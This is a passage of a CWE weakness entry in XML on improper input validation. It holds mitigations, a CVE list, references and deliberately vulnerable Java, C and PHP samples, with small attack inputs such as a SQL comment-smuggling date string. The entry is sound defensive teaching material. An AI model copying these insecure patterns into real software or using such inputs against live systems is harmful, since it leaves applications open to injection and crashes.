							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
						            <Text>Even though client-side checks provide minimal benefits with respect
							to server-side security, they are still useful. First, they can support
							intrusion detection. If the server receives input that should have been
							rejected by the client, then it may be an indication of an attack.
							Second, client-side error-checking can provide helpful feedback to the
							user about the expectations for valid input. Third, there may be a
							reduction in server-side processing time for accidental input errors,
							although this is typically a small savings.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When your application combines data from multiple sources, perform the
							validation after the sources have been combined. The individual data
							elements may pass the validation step but violate the intended
							restrictions after they have been combined.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-35">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Be especially careful to validate all input when invoking code that
							crosses language boundaries, such as from an interpreted language to
							native code. This could create an unexpected interaction between the
							language boundaries. Ensure that you are not violating any of the
							expectations of the language with which you are interfacing. For
							example, even though Java may not be susceptible to buffer overflows,
							providing a large argument in a call to native code might trigger an
							overflow.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Directly convert your input type into the expected data type, such as
							using a conversion function that translates a string into a number.
							After converting to the expected data type, ensure that the input's
							values fall within the expected range of allowable values and that
							multi-field consistencies are maintained.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180,
							CWE-181). Make sure that your application does not inadvertently decode
							the same input twice (CWE-174). Such errors could be used to bypass
							whitelist schemes by introducing dangerous inputs after they have been
							checked. Use libraries such as the OWASP ESAPI Canonicalization
							control.</Text>
						            <Text>Consider performing repeated canonicalization until your input does
							not change any more. This will avoid double-decoding and similar
							scenarios, but it might inadvertently modify inputs that are allowed to
							contain properly-encoded dangerous content.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When exchanging data between components, ensure that both components
							are using the same character encoding. Ensure that the proper encoding
							is applied at each interface. Explicitly set the encoding you are using
							whenever the protocol allows you to do so.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use automated static analysis tools that target this type of weakness.
							Many modern techniques use data flow analysis to minimize the number of
							false positives. This is not a perfect solution, since 100% accuracy and
							coverage are not feasible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use dynamic tools and techniques that interact with the software using
							large test suites with many diverse inputs, such as fuzz testing
							(fuzzing), robustness testing, and fault injection. The software's
							operation may slow down, but it should not become unstable, crash, or
							generate incorrect results.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This example demonstrates a shopping interaction in which the user
						is free to specify the quantity of items to be purchased and a total is
						calculated.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>public static final double price = 20.00;</Code>
							              <Code>int quantity = currentUser.getAttribute("quantity");</Code>
							              <Code>double total = price * quantity;</Code>
							              <Code>chargeUser(total);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The user has no control over the price variable, however the code does
							not prevent a negative value from being specified for quantity. If an
							attacker were to provide a negative value, then the user would have
							their account credited instead of debited.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This example asks the user for a height and width of an m X n game
						board with a maximum dimension of 100 squares.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>...</Code>
							              <Code>#define MAX_DIM 100</Code>
							              <Code>...</Code>
							              <Comment>/* board dimensions */</Comment>
							              <Code>int m,n, error; </Code>
							              <Code>board_square_t *board;</Code>
							              <Code>printf("Please specify the board height: \n");</Code>
							              <Code>error = scanf("%d", &amp;m);</Code>
							              <Code>if ( EOF == error ){</Code>
							              <Block>
								                <Code>die("No integer passed: Die evil hacker!\n");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>printf("Please specify the board width: \n");</Code>
							              <Code>error = scanf("%d", &amp;n);</Code>
							              <Code>if ( EOF == error ){</Code>
							              <Block>
								                <Code>die("No integer passed: Die evil hacker!\n");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>if ( m &gt; MAX_DIM || n &gt; MAX_DIM ) {</Code>
							              <Block>
								                <Code>die("Value too large: Die evil hacker!\n");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>board = (board_square_t*) malloc( m * n *
								sizeof(board_square_t));</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>While this code checks to make sure the user cannot specify large,
							positive integers and consume too much memory, it does not check for
							negative values supplied by the user. As a result, an attacker can
							perform a resource consumption (CWE-400) attack against this program by
							specifying two, large negative values that will not overflow, resulting
							in a very large memory allocation (CWE-789) and possibly a system crash.
							Alternatively, an attacker can provide very large negative values which
							will cause an integer overflow (CWE-190) and unexpected behavior will
							follow depending on how the values are treated in the remainder of the
							program.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following example shows a PHP application in which the
						programmer attempts to display a user's birthday and homepage.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$birthday = $_GET['birthday'];</Code>
							              <Code>$homepage = $_GET['homepage'];</Code>
							              <Code>echo "Birthday: $birthday&lt;br&gt;Homepage: &lt;a
								href=$homepage&gt;click here&lt;/a&gt;"</Code>
						            </Block>
						            <Text>The programmer intended for $birthday to be in a date format and
							$homepage to be a valid URL. However, since the values are derived from
							an HTTP request, if an attacker can trick a victim into clicking a
							crafted URL with &lt;script&gt; tags providing the values for
							birthday and / or homepage, then the script will run on the client's
							browser when the web server echoes the content. Notice that even if the
							programmer were to defend the $birthday variable by restricting input to
							integers and dashes, it would still be possible for an attacker to
							provide a string of the form:</Text>
						            <Block Block_Nature="Attack">
							              <Code>2009-01-09--</Code>
						            </Block>
						            <Text>If this data were used in a SQL statement, it would treat the
							remainder of the statement as a comment. The comment could disable other
							security-related logic in the statement. In this case, encoding combined
							with input validation would be a more useful protection
							mechanism.</Text>
						            <Text>Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just
							a few of the potential consequences when input validation is not used.
							Depending on the context of the code, CRLF Injection (CWE-93), Argument
							Injection (CWE-88), or Command Injection (CWE-77) may also be
							possible.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This function attempts to extract a pair of numbers from a
						user-supplied string.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void parse_data(char *untrusted_input){</Code>
							              <Block>
								                <Code>int m, n, error;</Code>
								                <Code>error = sscanf(untrusted_input, "%d:%d", &amp;m,
									&amp;n);</Code>
								                <Code>if ( EOF == error ){</Code>
								                <Block>
									                  <Code>die("Did not specify integer value. Die evil
										hacker!\n");</Code>
								                </Block>
								                <Code>}</Code>
								                <Comment>/* proceed assuming n and m are initialized correctly
									*/</Comment>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This code attempts to extract two integer values out of a formatted,
							user-supplied input. However, if an attacker were to provide an input of
							the form:</Text>
						            <Block Block_Nature="Attack">
							              <Code>123:</Code>
						            </Block>
						            <Text>then only the m variable will be initialized. Subsequent use of n may
							result in the use of an uninitialized variable (CWE-457).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-34">
					          <Intro_Text>The following example takes a user-supplied value to allocate an
						array of objects and then operates on the array.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private void buildList ( int untrustedListSize ){</Code>
							              <Block>
								                <Code>if ( 0 &gt; untrustedListSize ){</Code>
								                <Block>
									                  <Code>die("Negative value supplied for list size, die evil
										hacker!");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>Widget[] list = new Widget [ untrustedListSize ];</Code>
								                <Code>list[0] = new Widget();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This example attempts to build a list from a user-specified value, and
							even checks to ensure a non-negative value is supplied. If, however, a 0
							value is provided, the code will build an array of size 0 and then try
							to store a new Widget in the first location, causing an exception to be
							thrown.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5305</Observed_Example_Reference>
					          <Observed_Example_Description>Eval injection in Perl program using an ID that
						should only contain hyphens and numbers.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2223</Observed_Example_Reference>
					          <Observed_Example_Description>SQL injection through an ID that was supposed to
						be numeric.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3477</Observed_Example_Reference>
					          <Observed_Example_Description>lack of input validation in spreadsheet program
						leads to buffer overflows, integer overflows, array index errors, and memory
						corruption.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3843</Observed_Example_Reference>
					          <Observed_Example_Description>insufficient validation enables
						XSS</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3174</Observed_Example_Reference>
					          <Observed_Example_Description>driver in security product allows code execution
						due to insufficient validation</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3409</Observed_Example_Reference>
					          <Observed_Example_Description>infinite loop from DNS packet with a label that
						points to itself</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6870</Observed_Example_Reference>
					          <Observed_Example_Description>infinite loop from DNS packet with a label that
						points to itself</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1303</Observed_Example_Reference>
					          <Observed_Example_Description>missing parameter leads to
						crash</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5893</Observed_Example_Reference>
					          <Observed_Example_Description>HTTP request with missing protocol version number
						leads to crash</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6658</Observed_Example_Reference>
					          <Observed_Example_Description>request with missing parameters leads to
						information exposure</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4114</Observed_Example_Reference>
					          <Observed_Example_Description>system crash with offset value that is
						inconsistent with packet size</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-3790</Observed_Example_Reference>
					          <Observed_Example_Description>size field that is inconsistent with packet size
						leads to buffer over-read</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2309</Observed_Example_Reference>
					          <Observed_Example_Description>product uses a blacklist to identify potentially
						dangerous content, allowing attacker to bypass a
						warning</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3494</Observed_Example_Reference>
					          <Observed_Example_Description>security bypass via an extra
						header</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-5462</Observed_Example_Reference>
					          <Observed_Example_Description>use of extra data in a signature allows
						certificate signature forging</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3571</Observed_Example_Reference>
					          <Observed_Example_Description>empty packet triggers
						reboot</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-5525</Observed_Example_Reference>
					          <Observed_Example_Description>incomplete blacklist allows SQL
						injection</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1284</Observed_Example_Reference>
					          <Observed_Example_Description>NUL byte in theme name cause directory traversal
						impact to be worse</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0600</Observed_Example_Reference>
					          <Observed_Example_Description>kernel does not validate an incoming pointer
						before dereferencing it</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1738</Observed_Example_Reference>
					          <Observed_Example_Description>anti-virus product has insufficient input
						validation of hooked SSDT functions, allowing code
						execution</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1737</Observed_Example_Reference>
					          <Observed_Example_Description>anti-virus product allows DoS via zero-length
						field</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3464</Observed_Example_Reference>
					          <Observed_Example_Description>driver does not validate input from userland to
						the kernel</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2252</Observed_Example_Reference>
					          <Observed_Example_Description>kernel does not validate parameters sent in from
						userland, allowing code execution</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2374</Observed_Example_Reference>
					          <Observed_Example_Description>lack of validation of string length fields allows
						memory consumption or buffer over-read</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1440</Observed_Example_Reference>
					          <Observed_Example_Description>lack of validation of length field leads to
						infinite loop</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1625</Observed_Example_Reference>
					          <Observed_Example_Description>lack of validation of input to an IOCTL allows
						code execution</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3177</Observed_Example_Reference>
					          <Observed_Example_Description>zero-length attachment causes
						crash</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-2442</Observed_Example_Reference>
					          <Observed_Example_Description>zero-length input causes free of uninitialized
						pointer</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5563</Observed_Example_Reference>
					          <Observed_Example_Description>crash via a malformed frame
						structure</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5285</Observed_Example_Reference>
					          <Observed_Example_Description>infinite loop from a long SMTP
						request</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3812</Observed_Example_Reference>
					          <Observed_Example_Description>router crashes with a malformed
						packet</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3680</Observed_Example_Reference>
					          <Observed_Example_Description>packet with invalid version number leads to NULL
						pointer dereference</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3660</Observed_Example_Reference>
					          <Observed_Example_Description>crash via multiple "." characters in file
						extension</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>There is not much research into the classification of input validation
						techniques and their application. Many publicly-disclosed vulnerabilities
						simply characterize a problem as "input validation" without providing more
						specific details that might contribute to a deeper understanding of
						validation techniques and the weaknesses they can prevent or reduce.
						Validation is over-emphasized in contrast to other neutralization techniques
						such as filtering and enforcement by conversion. See the vulnerability
						theory paper.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Author>Jim Manico</Reference_Author>
					          <Reference_Title>Input Validation with ESAPI - Very Important</Reference_Title>
					          <Reference_Date>2008-08-15</Reference_Date>
					          <Reference_Link>http://manicode.blogspot.com/2008/08/input-validation-with-esapi.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-21">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Joel Scambray</Reference_Author>
					          <Reference_Author>Mike Shema</Reference_Author>
					          <Reference_Author>Caleb Sima</Reference_Author>
					          <Reference_Title>Hacking Exposed Web Applications, Second
						Edition</Reference_Title>
					          <Reference_Section>Input Validation Attacks</Reference_Section>
					          <Reference_Publisher>McGraw-Hill</Reference_Publisher>
					          <Reference_Date>2006-06-05</Reference_Date>
				        </Reference>
				        <Reference>
					          <Reference_Author>Jeremiah Grossman</Reference_Author>
					          <Reference_Title>Input validation or output filtering, which is
						better?</Reference_Title>
					          <Reference_Date>2007-01-30</Reference_Date>
					          <Reference_Link>http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Kevin Beaver</Reference_Author>
					          <Reference_Title>The importance of input validation</Reference_Title>
					          <Reference_Date>2006-09-06</Reference_Date>
					          <Reference_Link>http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1214373,00.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 10, "All Input Is Evil!" Page 341</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Input validation and representation</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Unvalidated Input</Mapped_Node_Name>
					          <Mapped_Node_ID>A1</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Prefer functions that support error checking over equivalent
						functions that don't</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR07-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Use strtol() or a related function to convert a string token
						to an integer</Mapped_Node_Name>
					          <Mapped_Node_ID>INT06-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Define and use a pointer validation
						function</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM10-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Library functions should validate their
						parameters</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC08-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Improper Input Handling </Mapped_Node_Name>
					          <Mapped_Node_ID>20</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Use strtol() or a related function to convert a string token
						to an integer</Mapped_Node_Name>
					          <Mapped_Node_ID>INT06-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Define and use a pointer validation
						function</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM10-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Functions should validate their parameters</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC08-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>10</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>101</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>104</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>106</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>108</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>109</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>110</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>13</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>135</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>136</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>139</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>14</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>171</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>182</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>199</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>22</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>24</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>244</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>267</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>28</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>3</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>31</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>32</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>42</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>43</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>45</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>46</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>47</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>52</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>53</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>63</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>64</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>66</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>67</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>7</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>71</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>72</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>73</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>78</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>79</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>8</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>80</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>81</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>83</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>85</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>86</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>88</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>9</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>91</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>99</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
